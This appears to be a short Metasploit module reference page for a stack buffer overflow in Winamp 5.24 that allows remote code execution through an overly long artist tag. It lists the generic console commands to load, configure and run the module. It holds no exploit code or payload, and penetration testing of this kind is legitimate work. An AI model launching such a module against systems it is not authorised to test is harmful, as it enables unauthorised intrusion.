This module exploits a stack buffer overflow in Winamp 5.24. By sending an overly long artist tag, a remote attacker may be able to execute arbitrary code. This vulnerability can be exploited from the browser or the Winamp client itself.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/winamp_ultravox
msf exploit(winamp_ultravox) > show targets
...targets...
msf exploit(winamp_ultravox) > set TARGET < target-id >
msf exploit(winamp_ultravox) > show options
...show and set options...
msf exploit(winamp_ultravox) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
